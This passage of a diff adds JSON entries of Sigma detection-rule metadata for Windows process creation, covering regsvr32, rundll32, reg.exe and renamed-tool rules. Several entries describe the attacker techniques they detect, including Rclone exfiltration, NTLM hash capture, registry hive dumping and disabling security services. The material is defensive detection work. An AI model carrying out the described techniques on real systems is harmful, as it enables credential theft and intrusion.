"creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_rasdial_activity.yml", + "author": "juju4", + "level": "medium", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a explorer.exe sub process of the RazerInstaller software which can be invoked from the installer to select a different installation folder but can also be exploited to escalate privileges to LOCAL SYSTEM", + "uuid": "a4eaf250-7dc1-4842-862a-5e71cd59a167", + "value": "Suspicious RazerInstaller Explorer Subprocess", + "meta": { + "refs": [ + "https://twitter.com/j0nh4t/status/1429049506021138437", + "https://streamable.com/q2dsji", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_razorinstaller_explorer.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1553" + ], + "creation_date": "2021/08/23", + "filename": "proc_creation_win_susp_razorinstaller_explorer.yml", + "author": "Florian Roth, Maxime Thiebaut", + "level": "high", + "falsepositive": [ + "User selecting a different installation folder (check for other sub processes of this explorer.exe process)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of RClone utility for exfiltration as used by various ransomwares strains like REvil, Conti, FiveHands, etc", + "uuid": "e37db05d-d1f9-49c8-b464-cee1a4b11638", + "value": "Rclone Execution via Command Line or PowerShell", + "meta": { + "refs": [ + "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/", + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", + "https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone", + "https://www.splunk.com/en_us/blog/security/darkside-ransomware-splunk-threat-update-and-detections.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rclone_execution.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567.002" + ], + "creation_date": "2021/05/10", + "filename": "proc_creation_win_susp_rclone_execution.yml", + "author": "Bhabesh Raj, Sittikorn S, Aaron Greetham (@beardofbinary) - NCC Group", + "level": "high", + "falsepositive": [ + "Legitimate RClone use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.", + "uuid": "aa2efee7-34dd-446e-8a37-40790a66efd7", + "value": "Recon Information for Export with Command Prompt", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_recon.yml" + ], + "tags": [ + "attack.collection", + "attack.t1119" + ], + "creation_date": "2021/07/30", + "filename": "proc_creation_win_susp_recon.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a set of suspicious network related commands often used in recon stages", + "uuid": "e6313acd-208c-44fc-a0ff-db85d572e90e", + "value": "Network Reconnaissance Activity", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_recon_network_activity.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087", + "attack.t1082", + "car.2016-03-001" + ], + "creation_date": "2022/02/07", + "filename": "proc_creation_win_susp_recon_network_activity.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a regedit started with TrustedInstaller privileges or by ProcessHacker.exe", + "uuid": "883835a7-df45-43e4-bf1d-4268768afda4", + "value": "Regedit as Trusted Installer", + "meta": { + "refs": [ + "https://twitter.com/1kwpeter/status/1397816101455765504", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regedit_trustedinstaller.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548" + ], + "creation_date": "2021/05/27", + "filename": "proc_creation_win_susp_regedit_trustedinstaller.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects using register-cimprovider.exe to execute arbitrary dll file.", + "uuid": "a2910908-e86f-4687-aeba-76a5f996e652", + "value": "DLL Execution Via Register-cimprovider.exe", + "meta": { + "refs": [ + "https://twitter.com/PhilipTsukerman/status/992021361106268161", + "https://lolbas-project.github.io/lolbas/Binaries/Register-cimprovider/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_register_cimprovider.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574" + ], + "creation_date": "2020/10/07", + "filename": "proc_creation_win_susp_register_cimprovider.yml", + "author": "Ivan Dyachkov, Yulia Fomina, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when the registration of a VSS/VDS Provider as a COM+ application.", + "uuid": "28c8f68b-098d-45af-8d43-8089f3e35403", + "value": "Suspicious Registration via cscript.exe", + "meta": { + "refs": [ + "https://twitter.com/sblmsrsn/status/1456613494783160325?s=20", + "https://ss64.com/vb/cscript.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_registration_via_cscript.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2021/11/05", + "filename": "proc_creation_win_susp_registration_via_cscript.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects various anomalies in relation to regsvr32.exe", + "uuid": "8e2b24c9-4add-46a0-b4bb-0057b4e6187d", + "value": "Regsvr32 Anomaly", + "meta": { + "refs": [ + "https://subt0x10.blogspot.de/2017/04/bypass-application-whitelisting-script.html", + "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_anomalies.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.010", + "car.2019-04-002", + "car.2019-04-003" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_regsvr32_anomalies.yml", + "author": "Florian Roth, oscd.community, Tim Shelton", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a flag anomaly in which regsvr32.exe uses a /i flag without using a /n flag at the same time", + "uuid": "b236190c-1c61-41e9-84b3-3fe03f6d76b0", + "value": "Regsvr32 Flags Anomaly", + "meta": { + "refs": [ + "https://twitter.com/sbousseaden/status/1282441816986484737?s=12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_flags_anomaly.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.010" + ], + "creation_date": "2019/07/13", + "filename": "proc_creation_win_susp_regsvr32_flags_anomaly.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a certain command line flag combination used by regsvr32 when used to download and register a DLL from a remote address which uses HTTP (not HTTPS) and a IP address and not FQDN", + "uuid": "2dd2c217-bf68-437a-b57c-fe9fd01d5de8", + "value": "Suspicious Regsvr32 HTTP IP Pattern", + "meta": { + "refs": [ + "https://twitter.com/mrd0x/status/1461041276514623491c19-ps", + "https://twitter.com/tccontre18/status/1480950986650832903", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_http_pattern.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.010" + ], + "creation_date": "2022/01/11", + "filename": "proc_creation_win_susp_regsvr32_http_pattern.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "FQDNs that start with a number" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of REGSVR32.exe with DLL masquerading as image files", + "uuid": "089fc3d2-71e8-4763-a8a5-c97fbb0a403e", + "value": "Suspicious Regsvr32 Execution With Image Extension", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", + "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", + "https://guides.lib.umich.edu/c.php?g=282942&p=1885348", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_image.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.010" + ], + "creation_date": "2021/11/29", + "filename": "proc_creation_win_susp_regsvr32_image.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a regsvr.exe execution that doesn't contain a DLL in the command line", + "uuid": "50919691-7302-437f-8e10-1fe088afa145", + "value": "Regsvr32 Command Line Without DLL", + "meta": { + "refs": [ + "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_no_dll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574", + "attack.execution" + ], + "creation_date": "2019/07/17", + "filename": "proc_creation_win_susp_regsvr32_no_dll.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects REGSVR32.exe to execute DLL hosted on remote shares", + "uuid": "88a87a10-384b-4ad7-8871-2f9bf9259ce5", + "value": "Suspicious Regsvr32 Execution From Remote Share", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_remote_share.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.010" + ], + "creation_date": "2022/10/31", + "filename": "proc_creation_win_susp_regsvr32_remote_share.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects \"regsvr32.exe\" spawning \"explorer.exe\", which is very uncommon.", + "uuid": "6f0947a4-1c5e-4e0d-8ac7-53159b8f23ca", + "value": "Regsvr32 Spawning Explorer", + "meta": { + "refs": [ + "https://redcanary.com/blog/intelligence-insights-april-2022/", + "https://www.echotrail.io/insights/search/regsvr32.exe", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_spawn_explorer.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.010" + ], + "creation_date": "2022/05/05", + "filename": "proc_creation_win_susp_regsvr32_spawn_explorer.yml", + "author": "elhoim", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an adversary uses the reg.exe utility to add or modify new keys or subkeys", + "uuid": "b7e2a8d4-74bb-4b78-adc9-3f92af2d4829", + "value": "Reg Add Suspicious Paths", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1562.001/T1562.001.md", + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_add.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112", + "attack.t1562.001" + ], + "creation_date": "2022/08/19", + "filename": "proc_creation_win_susp_reg_add.yml", + "author": "frack113, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Rare legitimate add to registry via cli (to these locations)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious addition to BitLocker related registry keys via the reg.exe utility", + "uuid": "0e0255bf-2548-47b8-9582-c0955c9283f5", + "value": "Suspicious Reg Add BitLocker", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_bitlocker.yml" + ], + "tags": [ + "attack.impact", + "attack.t1486" + ], + "creation_date": "2021/11/15", + "filename": "proc_creation_win_susp_reg_bitlocker.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious reg.exe invocation that looks as if it would disable an important security service", + "uuid": "5e95028c-5229-4214-afae-d653d573d0ec", + "value": "Reg Disable Security Service", + "meta": { + "refs": [ + "https://twitter.com/JohnLaTwC/status/1415295021041979392", + "https://github.com/gordonbay/Windows-On-Reins/blob/e587ac7a0407847865926d575e3c46f68cf7c68d/wor.ps1", + "https://vms.drweb.fr/virus/?i=24144899", + "https://bidouillesecurity.com/disable-windows-defender-in-powershell/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_disable_sec_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/07/14", + "filename": "proc_creation_win_susp_reg_disable_sec_services.yml", + "author": "Florian Roth, John Lambert (idea), elhoim", + "level": "high", + "falsepositive": [ + "Unknown", + "Other security solution installers" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Threat actors performed dumping of SAM, SECURITY and SYSTEM registry hives using DelegateExecute key", + "uuid": "dd3ee8cc-f751-41c9-ba53-5a32ed47e563", + "value": "Suspicious Reg Add Open Command", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/12/13/diavol-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_open_command.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003" + ], + "creation_date": "2021/12/20", + "filename": "proc_creation_win_susp_reg_open_command.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of a renamed Adfind.exe. AdFind continues to be seen across majority of breaches. It is used to domain trust discovery to plan out subsequent steps in the attack chain.", + "uuid": "df55196f-f105-44d3-a675-e9dfb6cc2f2b", + "value": "Renamed AdFind Detection", + "meta": { + "refs": [ + "https://www.joeware.net/freetools/tools/adfind/", + "https://thedfirreport.com/2020/05/08/adfind-recon/", + "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", + "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", + "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_adfind.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1018", + "attack.t1087.002", + "attack.t1482", + "attack.t1069.002" + ], + "creation_date": "2022/08/21", + "filename": "proc_creation_win_susp_renamed_adfind.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects uses of a renamed legitimate createdump.exe LOLOBIN utility to dump process memory", + "uuid": "1a1ed54a-2ba4-4221-94d5-01dee560d71e", + "value": "Renamed CreateDump Process Dump", + "meta": { + "refs": [ + "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", + "https://twitter.com/bopin2020/status/1366400799199272960", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_createdump.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1003.001" + ], + "creation_date": "2022/09/20", + "filename": "proc_creation_win_susp_renamed_createdump.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Command lines that use the same flags" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a renamed dctask64.exe used for process injection, command execution, process creation with a signed binary by ZOHO Corporation", + "uuid": "340a090b-c4e9-412e-bb36-b4b16fe96f9b", + "value": "Renamed ZOHO Dctask64", + "meta": { + "refs": [ + "https://twitter.com/gN3mes1s/status/1222088214581825540", + "https://twitter.com/gN3mes1s/status/1222095963789111296", + "https://twitter.com/gN3mes1s/status/1222095371175911424", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_dctask64.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1055.001", + "attack.t1202", + "attack.t1218" + ], + "creation_date": "2020/01/28", + "filename": "proc_creation_win_susp_renamed_dctask64.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown yet" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious renamed SysInternals DebugView execution", + "uuid": "cd764533-2e07-40d6-a718-cfeec7f2da7f", + "value": "Renamed SysInternals Debug View", + "meta": { + "refs": [ + "https://www.epicturla.com/blog/sysinturla", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_debugview.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588.002" + ], + "creation_date": "2020/05/28", + "filename": "proc_creation_win_susp_renamed_debugview.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of renamed version of PAExec. Often used by attackers", + "uuid": "c4e49831-1496-40cf-8ce1-b53f942b02f9", + "value": "Renamed PAExec", + "meta": { + "refs": [ + "https://www.poweradmin.com/paexec/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_paexec.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2021/05/22", + "filename": "proc_creation_win_susp_renamed_paexec.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Weird admins that rename their tools", + "Software companies that bundle PAExec with their software and rename it, so that it is less embarrassing", + "When executed with the \"-s\" flag. PAExec will copy itself to the \"C:\\Windows\\\" directory with a different name. Usually like this \"PAExec-[XXXXX]-[ComputerName]\"" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects using Rpcping.exe to send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.", + "uuid": "93671f99-04eb-4ab4-a161-70d446a84003", + "value": "Capture Credentials with Rpcping.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Rpcping/", + "https://twitter.com/vysecurity/status/974806438316072960", + "https://twitter.com/vysecurity/status/873181705024266241", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh875578(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rpcping.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003" + ], + "creation_date": "2020/10/09", + "filename": "proc_creation_win_susp_rpcping.yml", + "author": "Julia Fomina, oscd.community", + "level": "medium", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious process related to rundll32 based on arguments", + "uuid": "e593cf51-88db-4ee1-b920-37e89012a3c9", + "value": "Suspicious Rundll32 Activity", + "meta": { + "refs": [ + "http://www.hexacorn.com/blog/2017/05/01/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline/", + "https://twitter.com/Hexacorn/status/885258886428725250", + "https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52", + "https://twitter.com/nas_bench/status/1433344116071583746", + "https://twitter.com/eral4m/status/1479106975967240209", + "https://twitter.com/eral4m/status/1479080793003671557", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_activity.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_rundll32_activity.yml", + "author": "juju4, Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious calls of DLLs in rundll32.dll exports by ordinal", + "uuid": "e79a9e79-eb72-4e78-a628-0e7e8f59e89c", + "value": "Suspicious Call by Ordinal", + "meta": { + "refs": [ + "https://techtalk.pcmatic.com/2017/11/30/running-dll-files-malware-analysis/", + "https://github.com/Neo23x0/DLLRunner", + "https://twitter.com/cyb3rops/status/1186631731543236608", + "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_by_ordinal.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2019/10/22", + "filename": "proc_creation_win_susp_rundll32_by_ordinal.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment", + "Windows control panel elements have been identified as source (mmc)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious process related to rundll32 based on command line that invokes inline VBScript as seen being used by UNC2452", + "uuid": "1cc50f3f-1fc8-4acf-b2e9-6f172e1fdebd", + "value": "Suspicious Rundll32 Invoking Inline VBScript", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_inline_vbs.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055" + ], + "creation_date": "2021/03/05", + "filename": "proc_creation_win_susp_rundll32_inline_vbs.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious command line patterns used when rundll32 is used to run JavaScript code", + "uuid": "9f06447a-a33a-4cbe-a94f-a3f43184a7a3", + "value": "Rundll32 JS RunHTMLApplication Pattern", + "meta": { + "refs": [ + "http://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_DETECTION_BYPASS.txt", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_js_runhtmlapplication.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/01/14", + "filename": "proc_creation_win_susp_rundll32_js_runhtmlapplication.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the invocation of the Stored User Names and Passwords dialogue (Key Manager)", + "uuid": "a4694263-59a8-4608-a3a0-6f8d3a51664c", + "value": "Suspicious Key Manager Access", + "meta": { + "refs": [ + "https://twitter.com/NinjaParanoid/status/1516442028963659777", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_keymgr.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555.004" + ], + "creation_date": "2022/04/21", + "filename": "proc_creation_win_susp_rundll32_keymgr.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious start of rundll32.exe without any parameters as found in CobaltStrike beacon activity", + "uuid": "1775e15e-b61b-4d14-a1a3-80981298085a", + "value": "Suspicious Rundll32 Without Any CommandLine Params", + "meta": { + "refs": [ + "https://www.cobaltstrike.com/help-opsec", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_no_params.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2021/05/27", + "filename": "proc_creation_win_susp_rundll32_no_params.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Possible but rare" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious process related to rundll32 based on arguments", + "uuid": "73fcad2e-ff14-4c38-b11d-4172c8ac86c7", + "value": "Suspicious Rundll32 Script in CommandLine", + "meta": { + "refs": [ + "https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.011/T1218.011.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_script_run.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2021/12/04", + "filename": "proc_creation_win_susp_rundll32_script_run.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "setupapi.dll library provide InstallHinfSection function for processing INF files. INF file may contain instructions allowing to create values in the registry, modify files and install drivers. This technique could be used to obtain persistence via modifying one of Run or RunOnce registry keys, run process or use other DLLs chain calls (see references) InstallHinfSection function in setupapi.dll calls runonce.exe executable regardless of actual content of INF file.", + "uuid": "285b85b1-a555-4095-8652-a8a4106af63f", + "value": "Suspicious Rundll32 Setupapi.dll Activity", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Libraries/Setupapi/", + "https://gist.githubusercontent.com/bohops/0cc6586f205f3691e04a1ebf1806aabd/raw/baf7b29891bb91e76198e30889fbf7d6642e8974/calc_exe.inf", + "https://raw.githubusercontent.com/huntresslabs/evading-autoruns/master/shady.inf", + "https://twitter.com/Z3Jpa29z/status/1313742350292746241?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_setupapi_installhinfsection.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2020/10/07", + "filename": "proc_creation_win_susp_rundll32_setupapi_installhinfsection.yml", + "author": "Konstantin Grishchenko, oscd.community", + "level": "medium", + "falsepositive": [ + "Scripts and administrative tools that use INF files for driver installation with setupapi.dll" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects RunDLL32.exe spawning explorer.exe as child, which is very uncommon, often observes Gamarue spawning the explorer.exe process in an unusual way", + "uuid": "caa06de8-fdef-4c91-826a-7f9e163eef4b", + "value": "RunDLL32 Spawning Explorer", + "meta": { + "refs": [ + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_spawn_explorer.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2022/04/27", + "filename": "proc_creation_win_susp_rundll32_spawn_explorer.yml", + "author": "elhoim, CD_ROM_", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious process related to rundll32 based on command line that includes a *.sys file as seen being used by UNC2452", + "uuid": "731231b9-0b5d-4219-94dd-abb6959aa7ea", + "value": "Suspicious Rundll32 Activity Invoking Sys File", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_sys.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2021/03/05", + "filename": "proc_creation_win_susp_rundll32_sys.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious call to the user32.dll function that locks the user workstation", + "uuid": "3b5b0213-0460-4e3f-8937-3abf98ff7dcc", + "value": "Suspicious Workstation Locking via Rundll32", + "meta": { + "refs": [ + "https://app.any.run/tasks/2aef9c63-f944-4763-b3ef-81eee209d128/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_user32_dll.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/06/04", + "filename": "proc_creation_win_susp_rundll32_user32_dll.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Scripts or links on the user desktop used to lock the workstation instead of Windows+L or the menu option" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects the execution of Run Once task as configured in the registry", + "uuid": "198effb6-6c98-4d0c-9ea3-451fa143c45c", + "value": "Run Once Task Execution 